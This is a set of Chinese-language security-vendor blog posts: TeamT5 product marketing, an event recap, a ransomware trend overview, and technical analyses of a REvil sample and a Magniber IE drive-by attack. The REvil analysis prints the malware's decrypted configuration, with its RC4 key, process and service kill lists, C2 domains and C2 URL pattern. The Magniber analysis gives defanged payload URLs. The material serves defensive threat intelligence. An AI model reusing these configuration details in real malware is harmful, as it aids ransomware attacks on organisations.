透過 ThreatSonar 風險訂閱，我們可客製化為企業把關風險事件，但是風險項目眾多、資安人力有限，且風險等級也可能隨著公司政策調整而改變。

有鑑於此，除了訂閱風險項目，ThreatSonar 風險訂閱功能更提供「自訂風險等級」支援，資安人員可以自行決定風險等級，例如可設定哪些高風險攻擊事件發生時，需要立即處理、哪些屬於可疑事件，需進一步調查、哪些風險事件僅為低風險等級（例如，同仁的資訊設備使用方式違反公司資安規範）。

風險等級可自行決定且隨時調整，提升企業資安防護的彈性與便利性，企業可以更有效率地分配內部資安人力，依照不同風險等級進行相關處理。

 

## 資安事件即時告警，事件調查不再複雜

在過去，資安人員若要調查企業是否已遭到遠端存取木馬程式（Remote Access Trojan, RAT）入侵，通常需要確認幾項檔案特徵，例如風險檔案是否嘗試列舉檔案或行程（Process）、是否正在進行網路連線等，當上述特徵行為皆存在，就可以確認端點已遭到木馬程式攻擊。然而，需要考量的特徵非常多，且這些行為可能分布於數個風險檔案上，使得整體事件調查相對費時。

透過 ThreatSonar 風險訂閱功能，我們幫您組合多個特徵行為，針對單一資安攻擊事件發出明確且即時的告警，不只有效降低資安人員調查的負擔，又可即時回應與處置重要資安事件。

 

**ThreatSonar 風險訂閱功能** 即將上線，請即刻與 TeamT5 聯繫，訂製您的專屬風險防護！

> 業務聯絡：<sales@teamt5.org>

ThreatSonar 風險訂閱－訂製您的專屬風險防護

早期勒索軟體通常是透過木馬病毒，無方向性、任意擴散、亂槍打鳥，隨著網路下載檔案時入侵或經由系統漏洞進入被害者電腦。過去多數的被害者身分是一般民眾，他們一般處理的方式是默默支付約莫一千美元贖金，贖回電腦的解鎖。隨著網路威脅攻擊態勢的改變，威脅攻擊對象從個人移轉到企業為目標，攻擊手法也從隨機入侵變化為有目標性的入侵，這也就是所謂針對式的勒索軟體攻擊。


# 勒索軟體攻擊於 2019 年爆發式增長，至今沒有放緩跡象

近年來，攻擊態勢明顯改變，出現了針對型的勒索（targeted ransomware），攻擊發起時就鎖定目標，對象多是大型企業，駭客入侵後通常不會立即加密一台電腦，而是想辦法取得系統存取的最高權限，然後一次安裝勒索軟體在企業內所有電腦，時間到就全部進行加密、癱瘓企業，一次勒索金額甚至可高達五千萬美元（相當於新台幣十四億元）。

隨著加密貨幣流行的興起，駭客集團也隨之運用加密貨幣中心來掩護不法現金流追查，同時此行為也愈來愈猖獗，甚至引發美國政府主動採取對抗勒索軟體的決心，其中加強加密貨幣監管視為其中之一對抗的目標，還有就是這幾年網路所流傳的非主流服務，勒索軟體即服務（Ransomware as a Service，簡稱 RaaS）商業模式的出現，此現象也誘使更多犯罪團體發起勒索攻擊的行為。

今年五月區塊鏈研究機構 Chainalysis 發布[《2021 勒索軟體年中的重大事件報告》](https://blog.chainalysis.com/reports/ransomware-update-may-2021)，提及 2019 年是勒索贖金急遽增長的關鍵指標，從 2019 年第一季平均六千美元的贖金金額，延續至 2021 年第一季，平均贖金已高達五萬四千美元，此金額倍數般的驚人成長，尤其被駭客集團所盯上的高科技產業，例如 2021 年 REvil 陸續成功駭入宏碁與廣達，則被駭客獅子大開口要求支付五千萬美元贖金，不論最終企業是否支付，鉅額贖金儼然已成為常態。

![202109_1改.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1632897561/202109_1_e46dc8cfb4.png)
_表一、各季平均已知勒索支付金額。資料參考自 [Chainalysis Insights](https://blog.chainalysis.com/reports/ransomware-update-may-2021)。_

 

# 防駭如防疫，唯有「全面防堵」

一般企業軟硬體網路環境多數建置是以辦公事務性為用途，而不是為了抵禦外部網路攻擊而部署，但駭客族群工具就是以攻擊目的為出發點，通常企業一旦被駭客針對鎖定了，它就會持續不斷的攻擊直到成功入侵為止，然後對企業進行勒索，這是非常難以防止。如何讓企業內外系統有密實的防護牆，是企業需考量的防禦重點。TeamT5 杜浦數位安全建議，企業必需有「全面防堵」的觀念，在企業內部設立層層的防護關卡，在每一個環節做到有效的預防、偵測和阻擋。因此，TeamT5 鼓勵企業朝向「全面防堵」的觀念進行安全部署，即使某些防禦層被入侵，系統其他防護機制一樣可以迅速接手防禦，並且企業依舊保有持續營運，因此「全面防堵」的觀念如同防疫，需同時包含隔離觀察、症狀監控、阻止傳播、快速應變隔離確診者等，缺一不可。

 

# 獨家人工智慧引擎，監控新進程式

TeamT5 全新一代的 ThreatSonar EDR 威脅鑑識分析與回應平台解決方案，除了具備 APT（Advanced Persistent Threat，進階持續性攻擊）惡意威脅鑑識與防護功能外，更新增面對勒索軟體攻擊的全面防堵解決方案，這個方案是透過我們的獨家人工智慧引擎，能判斷可疑或新進的外來程式，透過隔離與權限控管方式，由零信任（zero trust）開始，逐步提高對新進程式的信任值，這就如同 COVID-19 防疫針對入境者，均須透過 14 天隔離期相同的觀念，做為第一道防線，為企業進行把關。

![202109_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1632815199/202109_2_dff90ac42b.png)
_圖一、ThreatSonar EDR 人工智慧引擎_

 

# 雙重防護，即時自動阻斷

面對勒索軟體的加密攻擊階段，ThreatSonar EDR 亦提供雙重防護，分別為應用程式控制與勒索陷阱，ThreatSonar EDR 的獨家人工智慧引擎可以偵測出哪些應用程式應該開啟什麼類型檔案，例如文件檔案通常是由文書編輯程式所開啟，若有異常程式嘗試存取文件檔案，系統便會自動偵測並予以即時阻斷。另外 ThreatSonar EDR 也會佈下了許多偽裝的文件檔案，當作誘捕陷阱，當惡意程式試著開啟此類檔案，同樣的也會被偵測並強制中斷惡意程式繼續運行。

 

# 加密了! 檔案還原

能夠全面防禦阻擋勒索軟體攻擊是 TeamT5 ThreatSonar EDR 的解決方案外，同時還建立一個備份區，專門為重要文件進行自動備份，若檔案不幸被加密了，仍可透過此備份區成功取回檔案，這不僅是一般的檔案備份，TeamT5 獨家技術建立的備份區，可偵測駭客進行惡意破壞備份行為，有效確保企業成功還原檔案。

![202109_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1632815198/202109_3_2adafecde5.png)
_圖二、TeamT5 獨家技術有效確保企業成功還原檔案_

 

# 掌握情資，制敵機先

防駭跟防疫有許多共通之處，要對抗的都是「人」，使用單一解決方案通常效果有限，因為時間久了，就算有效果也會被繞過，譬如不能只單靠疫苗，因為病毒會持續變種，更何況駭客是人，他們也會適應與變化，不斷產生新的攻擊手法與技術。

TeamT5 掌握亞洲領先情資，持續研究與追蹤各大勒索軟體族群的最新手法，有效預測未來攻擊，透過充分掌握與不斷更新，TeamT5 最新一代 ThreatSonar EDR 將是您最佳的選擇，請即刻與您的業務窗口聯繫。

> 業務聯絡：<sales@teamt5.org>

 

# 參考資料

[1] https://www.afcea.org/content/sponsored-81-ransomware-statistics-data-trends-and-facts-2021

[2] https://www.varonis.com/blog/ransomware-statistics-2021/

[3] https://blog.chainalysis.com/reports/ransomware-update-may-2021

有效抵禦勒索軟體攻擊，唯有「全面防堵」

一年一度的 CYBERSEC 2021 臺灣資安大會於 5 月 4 日至 6 日在南港展覽二館圓滿落幕，TeamT5 杜浦數位安全（以下簡稱 TeamT5）今年以三大重點參展：「最佳夥伴」、「對抗勒索」、「情資決勝」，在網路攻擊不斷轉型、進化的今日，TeamT5 將成為您最可靠的盟友，共同對抗網路威脅。

![AX1_9828.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621322561/AX_1_9828_23b4ad3bf5.jpg)
_TeamT5 杜浦數位安全提供對抗勒索攻擊的最佳解方，以及研究量能最豐富的威脅情資，幫助企業對抗網路威脅_

 

面對近年來國際間頻繁發生的加密勒索資安事件，攻擊手法與目標對象逐漸轉型，使得勒索攻擊成為當前企業最擔憂的網路威脅。TeamT5 長年研究、追蹤進階持續性攻擊（Advanced Persistent Threat, APT），在本次資安大會上，我們獨家公開全新升級的 ThreatSonar 威脅補網，提出對抗勒索攻擊的防護解方。

![AX0_6835.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621322561/AX_0_6835_790f9537f0.jpg)
_TeamT5 首席架構師 Nanika 向大家介紹 ThreatSonar 全面升級的勒索防堵策略_

 

TeamT5 提出「勒索全面防堵」策略，我們的 ThreatSonar 威脅狩獵解決方案，能夠有效偵測 APT 針對型攻擊，與既有資安解決方案互補而非取代，成為企業在資安攻防的強力守護神。以事件處理的角度來看，勒索軟體與 APT 攻擊事件幾近相同，唯一不同之處在於攻擊者會藉此勒索受害者、獲取贖金，唯有全面性解決，才能讓人員更有效進行處理，在防堵的同時擬定執行策略。

![P_20210506_133205.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621324929/P_20210506_133205_1805110f15.jpg)
_TeamT5 技術長暨首席分析師 Charles 與 IR 專家 Zha0，介紹利用威脅情資掌握攻擊者動向的重要性，以達到超前部署的防護_

 

此外，今年最受矚目的參展亮點還有「TeamT5 MoMA 攻擊族群博物館」，以及 TeamT5 獨家打造的「1337 Operation」搜索實境遊戲。蔡英文總統與各部會長官也親臨攤位參觀，由 TeamT5 執行長蔡松廷（ TT）帶領導覽，介紹我們如何以更貼近、淺顯易懂的方式，將神秘的駭客攻擊族群具象化為藝術品。更特別的是，我們將攻擊族群博物館連結搜索實境遊戲關卡，以逼真的勒索軟體事件調查遊戲情境，讓玩家實際體驗企業受害與追查駭客的過程。

![經濟部工業局提供.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621326181/_e8ae0b779f.jpg)
_執行長蔡松廷向蔡英文總統與各部會長官們導覽「TeamT5 MoMA 攻擊族群博物館」，介紹我們如何透過將抽象的攻擊族群具象化為藝術品的方式，讓大家更深入了解 APT 族群的特性。（圖片來源：[經濟部工業局](https://www.facebook.com/moeaidb/photos/pcb.1996144607216335/1996143887216407)授權使用）_

![IMG_0462.JPG](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621326184/IMG_0462_fb0cf9e235.jpg)
_TeamT5 獨家設計的搜索實境遊戲，只要一支手機，玩家就可以化身探員，實際體驗追查駭客的過程_

 

為期三天的展會中，TeamT5 透過大會多場精彩議程、CyberLAB 技術課程，以及我們精心策劃的攤位主題限定講座，帶給所有前來參展的來賓充實的技術分享與交流。兩場 TeamT5 專家座談「資安海外拓展交流」和「難纏的勒索軟體與對抗經驗」，也邀請多位資安專家與研究人員到場分享相關經驗與知識，獲得許多與會來賓的正向回饋。

![IMG_0336.JPG](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621322565/IMG_0336_5c72d3f9f7.jpg)
![AX0_7203.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621322561/AX_0_7203_f8a4840a25.jpg)
_TeamT5 獨家邀請到多位資安專家，在兩場攤位限定專家座談中，和大家分享資安海外拓展以及勒索軟體的對抗經驗，吸引許多參展來賓參與討論交流_

【臺灣資安大會】TeamT5 對抗勒索，攻擊全面防堵

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關於 REvil 勒索軟體與其背後組織的來歷與特性，資安業者 TeamT5 近期統整多方面曝光資訊，讓國內對於此攻擊族群可以有更深入的瞭解。該組織採 RaaS 模式經營、最多擁有 80 個合作夥伴，且整體族群手法多元。

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圖片來源：[Pixabay](https://pixabay.com/illustrations/ransomware-wannacry-malware-2318381/)

 

TeamT5 近期於台灣某企業環境取得一加密勒索惡意程式（Ransomware），該惡意程式與日前美國託管軟體開發業者 Kaseya 遭到駭客組織 REvil 入侵，進而產生供應鏈攻擊事件（Supply Chain Attack）密切相關。難道是近日忽然神秘消失的 REvil 又整裝上陣，再度發動攻擊？

TeamT5 在這起事件中調查發現，該加密勒索惡意程式具有檔案數位簽章，可藉此躲避防毒軟體的偵測。同時也會利用早期 Windows 防毒產品的漏洞，執行 DLL Side-Loading，繞過安全檢查，載入惡意程式本體。執行工作前，會使用 RC4 演算法解密一組態設定檔，並於加密檔案階段，使用 Salsa20 和 AES 兩種演算法來加密檔案。

TeamT5 深入調查，確定該企業並未採用 Kaseya 所提供之服務，且該受害環境存在多起駭客入侵攻擊事件。此外，該加密勒索程式所觸發的條件與 Kaseya 供應鏈攻擊事件有所區別，故 TeamT5 推測是攻擊者在入侵得手後，利用 REvil 加密勒索程式來煙滅犯罪現場證據之用。

 

## 樣本分析
sample.exe 為 TeamT5 所掌握取得之惡意程式，具備數位簽章（digital signature），簽署人名稱為 PB03 TRANSPORT LTD.。目前該憑證已被簽發者宣告撤銷，據信，該簽章憑證為駭客攻擊前所竊取而來。所對應 MITRE 的攻擊手法編號為 T1553.002。數位簽章資訊詳見下圖一。

![2108-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_1_70fa5416a0.png)
_圖一、sample.exe 具有數位簽章（已遭宣告撤銷）_

 

sample.exe 除了具有檔案數位簽章之外，同時也是個 Dropper。在其檔案資源區塊中，具有兩個資源檔 MODLIS.RG 與 SOFTIS.RG。檔案執行之後，會分別在 C:\Windows\ 路徑下建立 mpsvc.dll 與 MsMpEng.exe，如圖二。

![2108-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_2_228ada60f2.png)
_圖二、sample.exe 會從資源區塊產生 mpsvc.dll 與 MsMpEng.exe_

 

MsMpEng.exe 為 Windows 早期版本（版本號為 4.5.0218.0）之防毒軟體程式，其檔案時間戳記為 2014/03/24 09:34。此 MsMpEng.exe 有 DLL 側載（DLL Side-Loading）漏洞，駭客利用合法程式來載入惡意本體 mpsvc.dll，為典型的白加黑攻擊手法，所對應 MITRE 的攻擊手法編號為 T1574.002。MsMpEng.exe 的檔案資訊詳見下圖三。

![2108-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_3_204dc45958.png)
_圖三、MsMpEng.exe 的檔案資訊與檔案簽章_

 

根據 mpsvc.dll 的導出表，會透過 Windows 防毒程式來呼叫 mpsvc.dll，並透過 `ServiceCrtMain` 函式來執行。執行後，mpsvc.dll 會建立一個執行緒（Thread），並透過 `CreateFileMappingW` 函式來載入二階段惡意 Shellcode。接著，使用 `VirtualAllocEx` 函式來分配記憶體的讀/寫/執行區域，供 Shellcode 將加密勒索核心功能載入記憶體中。

![2108-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_4_698c5d81c3.png)
_圖四、mpsvc.dll 使用 `CreateFileMappingW` 和 `VirtualAllocEx` 函式載入惡意程式核心_

 

加密勒索核心透過解碼一系列已編碼的 DLL 檔案，開始驗證和解密 JSON 格式之組態設定檔（Config）。TeamT5 長期追蹤 REvil 駭客族群，發現他們廣泛使用 CRC32 演算法來驗證檔案的完整性，並使用 RC4 演算法來解密。在此案例中，加密勒索程式所使用的 RC4 解密金鑰為 `mXT1QFyEUbrxc4cbP84jbN5wrHeqmFXt`，解密後的組態設定檔詳見以下範例：

```json{
"pk":"9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=",
"pid":"$2a$12$prOX/4eKl8zrpGSC5lnHPecevs5NOckOUW5r3s4JJYDnZZSghvBkq",
"sub":"8254",
"dbg":false,
"et":0,
"wipe":true,
"wht":{"fld":["program files","appdata","mozilla","$windows.~ws","application data","$windows.~bt","google","$recycle.bin","windows.old","programdata","system volume information","program files (x86)","boot","tor browser","windows","intel","perflogs","msocache"],
"fls":["ntldr","thumbs.db","bootsect.bak","autorun.inf","ntuser.dat.log","boot.ini","iconcache.db","bootfont.bin","ntuser.dat","ntuser.ini","desktop.ini"],
"ext":["ps1","ldf","lock","theme","msi","sys","wpx","cpl","adv","msc","scr","bat","key","ico","dll","hta","deskthemepack","nomedia","msu","rtp","msp","idx","ani","386","diagcfg","bin","mod","ics","com","hlp","spl","nls","cab","exe","diagpkg","icl","ocx","rom","prf","themepack","msstyles","lnk","icns","mpa","drv","cur","diagcab","cmd","shs"]},
"wfld":["backup"],
"prc":["encsvc","powerpnt","ocssd","steam","isqlplussvc","outlook","sql","ocomm","agntsvc","mspub","onenote","winword","thebat","excel","mydesktopqos","ocautoupds","thunderbird","synctime","infopath","mydesktopservice","firefox","oracle","sqbcoreservice","dbeng50","tbirdconfig","msaccess","visio","dbsnmp","wordpad","xfssvccon"],
"dmn":"boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;TRIMMED",
"net":false,
"svc":["veeam","memtas","sql","backup","vss","sophos","svc$","mepocs"],
"nbody":"BASE64_ENCODED_RANSOM_NOTE",
"nname":"{EXT}-readme.txt",
"exp":false,
"img":"QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA",
"arn":false,
"rdmcnt":0}
```
 

**部分組態設定檔說明**

|欄位|說明|
|---|---|
|pk|經過 Base64 編碼後的金鑰|
|fld|避免加密的資料夾名稱|
|fls|避免加密的檔案名稱|
|ext|會被加密的檔案格式|
|prc|加密前會強制關閉的程序名稱|
|dmn|中繼站位址|
|svc|加密前會強制停止的服務名稱|

 

待加密勒索核心解析組態設定檔後，會搜集並儲存該受害主機的基本資訊，包含帳號、主機名稱、網域名稱、Windows 版本名稱等。同時，該加密勒索程式具有 `-nolan`、`-nolocal`、`-path`、`-silent`、`-smode`、`-fast` 及 `-full` 等參數可供使用。

如果使用 `-smode` 模式，會將當前帳號和密碼更改為 `DTrump4ever`，並設定登入後自動執行。但若使用 `-silent` 模式，則會從組態設定檔中將 `svc` 區塊中的服務停止並刪除，也將 `prc` 區塊中的程序終止，以及使用 WMI 刪除磁碟區陰影複製檔（Shadow Copy File）。

![2108-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_5_ff3367629a.png)
_圖五、smode 模式的程式分析畫面_

 

開始執行檔案加密前，加密勒索核心會檢查互斥變數（Mutex），以確保沒有其他加密勒索核心也在運行，確定加密過程可順利進行。在執行階段，加密勒索程式會清空電腦主機的資源回收桶，並嘗試建立本機防火牆規則 `netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes`。

接著，破壞過程會使用多個演算法進行加密，例如 Salsa20 與 AES。在加密過程中，會忽略組態設定檔中 `ext` 區塊中的檔案副檔名，避免受害主機完全無法開機的狀況發生。

![2108-6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_6_8b5ef17c27.png)
_圖六、加密演算法使用 Salsa20 和 AES_

 

待惡意程式開始加密檔案時，勒索訊息也會同步建立在每個資料夾路徑下，其檔案類型為文字格式（.txt），檔名則為隨機亂數產生的小寫英文與數字組合，並加上 `-readme` 做為後綴（suffix）字元。其勒索訊息內容如下圖七所示。

![2108-7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269623/2108_7_44da5ddd34.png)
_圖七、勒索訊息內容_

 

在加密檔案之後，加密勒索程式會連線至組態設定檔中的中繼站，並使用 HTTP POST 方法回傳如 REvil 版本、作業系統版本、語言及組態設定檔的值等資訊。回傳中繼站的 URL 會採用隨機產生的關鍵字，如 WordPress 等服務，將流量偽裝成合法請求。其 URL 格式如下：

`https:\/\/<C2Domain>\/(wp-content|static|content|include|uploads|news|data|admin)\/(images|pictures|image|temp|tmp|graphic|assets|pics|game)\/([a-z]{2}){10}\.(jpg|png|gif)`

 

## IoC 入侵指標

TeamT5 彙整此次加密勒索攻擊事件的 IoC（Indicators of Compromise）資訊，建議用戶可將此份威脅指標情資，匯入各式偵測阻擋設備中使用，強化威脅防護。

|Type|Value|檔名|描述|
|---|---|---|---|
|MD5|561CFFBABA71A6E8CC1CDCEDA990EAD4|sample.exe|REvil Dropper|
|MD5|A47CF00AEDF769D60D58BFE00C0B5421|mpsvc.dll|REvil Loader|
|MD5|3AD14947002E57887B82643D729C21AE|n/a|REvil Shellcode|
|MD5|6A044F92F8DDDAD2AE0FF213215FE576|n/a|REvil Payload|
|SHA-1|5162F14D75E96EDB914D1756349D6E11583DB0B0|sample.exe|REvil Dropper|
|SHA-1|656C4D285EA518D90C1B669B79AF475DB31E30B1|mpsvc.dll|REvil Loader|
|SHA-1|8DA8E1DB4367BFFFB8DFF6828619DC3C2A444FFE|n/a|REvil Shellcode|
|SHA-1|89BA0D748EF30E7D4FACDBC74CA701B24F3ACEDB|n/a|REvil Payload|
|SHA-256|D55F983C994CAA160EC63A59F6B4250FE67FB3E8C43A388AEC60A4A6978E9F1E|sample.exe|REvil Dropper|
|SHA-256|8DD620D9AEB35960BB766458C8890EDE987C33D239CF730F93FE49D90AE759DD|mpsvc.dll|REvil Loader|
|SHA-256|C8768D4A4979D4B5AB4E841FC29523D8D80C52D6E89F345A0A44E75973F3D3AF|n/a|REvil Shellcode|
|SHA-256|F92CD77D38EC7A2E3CDB5CAC083258424F920F3104BC710E60AEE5CE4BC4B867|n/a|REvil Payload|

又見 REvil？！看駭客如何利用 REvil 同款加密勒索程式湮滅攻擊證據

Technical Analysis

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近期國際間不斷發生加密勒索資安事件，受害產業橫跨政府機關、科技製造、交通運輸、軟體開發、衛生醫療、學術研究等。TeamT5 根據情資研究與數起資安事件調查成果，綜整近期針對型加密事件的面貌。

 

## 加密勒索攻擊演化
說到加密勒索攻擊，就不能不談到惡名昭彰的 WannaCry 病毒。WannaCry 病毒在 2017 年造成大規模感染，起因於該病毒針對 SMBv1 漏洞（CVE-2017-0143 ~ CVE-2017-0148）使用永恆之藍（EternalBlue）工具進行入侵。WannaCry 病毒入侵感染第一台主機後，會對主機硬碟和儲存裝置中的各式檔案進行加密，然後再利用 SMBv1 漏洞，主動擴散傳播到其他主機上，進而造成全球超過數百萬台電腦被加密感染。

![2104_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468173/2104_1_06555c9aff.png)
_圖一、WannaCry 加密勒索訊息_

 

然而，加密勒索攻擊在近幾年出現質變，逐漸從自動化攻擊轉為由駭客組織躲藏在背後操弄，受害對象也逐漸轉變成大型企業。駭客為避免受害者直接進行系統還原或重建，導致無法有效獲得贖金款項，進而開始竊取受害者的內部機敏資料，並藉由恐嚇公開資料，逼迫受害者繳付贖金。[ZDent](https://www.zdnet.com/article/ransomware-gangs-are-now-cold-calling-victims-if-they-restore-from-backups-without-paying/) 就曾報導 Sekhmet、Maze、Conti 與 Ryuk 等駭客組織存在「催債單位」，會主動與受害者聯繫，威脅若不繳付贖金將公開所竊取的機敏資料。

![2104_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_2_a31b3d1dd4.png)
_圖二、常見的針對型加密勒索訊息_

 

## 針對型加密勒索
TeamT5 從情資研究與資安事件成果，歸納目前針對型勒索攻擊分為四大步驟，分別為入侵、水平移動、資料竊取與檔案加密階段。

![2104_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_3_82b3ac0151.png)
_圖三、針對型加密勒索攻擊分解_

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 •入侵階段
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駭客入侵受害環境，主要是透過系統或設備的漏洞與社交郵件兩種管道。根據資安事件調查的結果，駭客所利用的漏洞為 ExChange ProxyLogon（CVE-2021-26858 與 CVE-2021-27065）與 SSL VPN（CVE-2019-11510、CVE-2019-11542、CVE-2019-11539、CVE-2019-11538、CVE-2019-11508、CVE-2019-11540 與 CVE-2019-11507）為主；而社交郵件則會搭配惡意連結，讓使用者點擊後不經意遭植入惡意程式，如 Drive-by-Download 攻擊手法。

![2104_4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_4_448ef9ff83.png)
_圖四、駭客利用 IE 漏洞（CVE-2020-0968）搭配 Drive-by-Download 手法植入惡意程式_

 

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 •水平移動階段
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駭客成功入侵受害環境搶下灘頭堡後，會開始進行後續入侵攻擊（Post-Compromise），目的是為了找到網域伺服器或檔案伺服器等高價值主機。在此階段，駭客會使用 Mimikatz 這類的密碼竊工具取得主機上的帳號密碼，並試著透過各種網路掃描工具，如 nbtscan、TCP Scan 或 ADFind 等駭客工具，找到其他可入侵的內部主機。接下來，駭客會嘗試使用先前取得的帳號密碼登入，其登入方式包含廣為人知的 PsExec 工具程式，最後在受害主機上建立後門程式，以便駭客長期連入控制之用，近期常見的後門程式多為使用 Cobalt Strike 框架建立 Stager 或 Beacon 等後門管道。

![2104_5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_5_9b984c5e4c.png)
_圖五、登入驗證程式 lsass.exe 遭到 Mimikatz 注入並竊取帳號密碼_

 

![2104_6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618471005/2104_6_bba2dd7079.png)
_圖六、駭客透過 Powershell 執行惡意語法植入 Cobalt Strike Stager_

 

<h3>
 •資料竊取階段
</h3>


駭客成功入侵至網域伺服器或檔案伺服器主機後，會嘗試從中取得受害單位內部的機敏資料，如產品開發、客戶資訊、財務資訊等機敏檔案。下圖七為 TeamT5 於某事件中偵測到駭客利用 WinRAR 壓縮工具，試圖遠端加密壓縮特定資料夾內容。

![2104_7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_6_3c1ab71659.png)
_圖七、駭客正在加密壓縮機敏資料_

 

<h3>
 •檔案加密階段
</h3>

當駭客成功取得受害者內部的機敏資料後，才會肆無忌憚地開始進行大規模主機加密行動。根據 TeamT5 實地調查的案例，駭客會在各主機植入加密程式，等到取得機敏資料後才透過 AD GPO 大量且快速地執行檔案加密攻擊，且駭客開始採用合法的檔案加密程式進行惡意加密攻擊。如下圖畫面，攻擊者早在 7 月就已植入加密程式，但是等到 12 月才發動加密攻擊，代表攻擊潛伏期長達數個月之久。且駭客所使用的加密程式 bcl.exe 為 Jetico 公司所開發的商用資料加密軟體，該軟體本意是為了達到資料隱私保護之用，卻被駭客利用成為加密勒索攻擊的一環。

![2104_8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_7_98ce84dfb8.png)
_圖八、長達數個月潛伏期的加密勒索攻擊行動_

 

## 轉換一下您的防禦思維
看到現在，各位應該發現針對型加密勒索攻擊是個細膩且漫長的攻擊行動，為了不打草驚蛇讓受害者早早發現，駭客開始使用許多合法商用軟體替代自行開發的惡意程式。在許多防禦機制都在強調如何阻斷檔案加密的當下，卻忽略了我們有數周至數個月的時間可以發現駭客的潛在威脅，又或是如果駭客使用合法程式來掩護非法攻擊，該如何有效偵測及識別，乃至於阻擋呢？

或許我們該轉換一下防禦思維，如果能在駭客入侵初期的潛伏階段就能有效識別，進而修補漏洞、清除惡意程式，阻斷駭客持續控制內部受害環境，便能避免未來發生大規模檔案加密的攻擊。

更多加密勒索攻擊防護，敬請期待 TeamT5 在 [CYBERSEC 2021 臺灣資安大會](https://teamt5.org/tw/posts/cybersec-2021/)上即將獨家公開的全新升級威脅捕網！

刻在你我心底的痛！可怕的加密勒索攻擊

By Tom, Peter & Jason3e7 | 圖片來源：[Pixabay](https://pixabay.com/illustrations/browser-web-www-computer-773273/)

近期全球籠罩在勒索軟體的威脅下，大到法人企業、小至個人用戶，無一倖免。從針對式的 APT 攻擊（Advanced Persistent Threat，進階持續性攻擊）到各式網路犯罪組織，使用的勒索手法越發精湛與多樣化，並發展出 Ransomware as a Service（RaaS）商業模式，實現了「一時勒索一時爽，一直勒索一直爽」的勒索大業。

本次分析的案例，攻擊手法屬於較被動的方式，透過微軟瀏覽器 IE （Internet Explorer）的弱點來進行勒索，而非從企業的脆弱點進行攻擊，進而入侵到核心系統大量散布勒索軟體。這種「願者上鉤」的攻擊方式，攻擊者等待受害單位使用 IE 瀏覽器造訪惡意網站，再發動攻擊、達成目的。

## 技術分析

tenki[.]tw 早期是用來提供氣象資訊的網站，根據我們的研究，推測可能遭攻擊者註冊，當使用者造訪該網站時，將進行兩次轉址，經過兩個廣告公司網站後，最終轉至惡意網站，流程如下圖。

![IE_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073503/IE_1_9c89756204.png)


 

其中 {random}.doetax.site 包含以下已經過程式碼混淆（Obfuscation）的 JavaScript：

![IE_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073503/IE_2_75720d835e.png)

 

經過解碼還原後，可以確定攻擊 payload 會使用 URL 進行 XOR，再使用 execScript 來執行編碼過的 JavaScript，如下圖：

![IE_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073501/IE_3_7834571d0f.png)

 

該編碼過的 JavaScript 使用的是 CVE-2020-0968 來針對 IE 瀏覽器進行攻擊。

![IE_4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073500/IE_4_d1df7d6427.png)

 

執行惡意程式碼後，攻擊者會再依據取得的權限不同，將使用者連線到不同的網址，如下圖：

![IE_5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073500/IE_5_8167c3864c.png)

 

若取得是高權限，則會直接到 hxxp://1fbw726f22j65y.doetax.site/ 取得勒索軟體，否則會先到 hxxp://2oct37evecvdw72y0b.doetax.site/ 下載惡意程式，提權後連線到 hxxp://1fbw726f22j65y.doetax.site/ 取得勒索軟體，如下圖所示。

![IE_6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073497/IE_6_8cf56ced86.png)

 

經分析後確定勒索軟體為 Magniber，該惡意程式使用 AES CBC mode 加密檔案（key, IV: 128），加密完成後，會使用 RSA 演算法加密 key 與 IV，加密後的 blob 會放在加密檔案的最後面（長度：100h）。

![IE_7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073496/IE_7_8d674f100c.png)

![IE_8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073493/IE_8_b0ab9e49b9.png)

 

另外我們也發現，除了使用 CVE-2020-0968 來攻擊外，也有使用 CVE-2021-26411 進行勒索攻擊的情境。

![IE_9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_9_a0a080b8f8.png)

![IE_10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_10_36fdab639d.png)

 

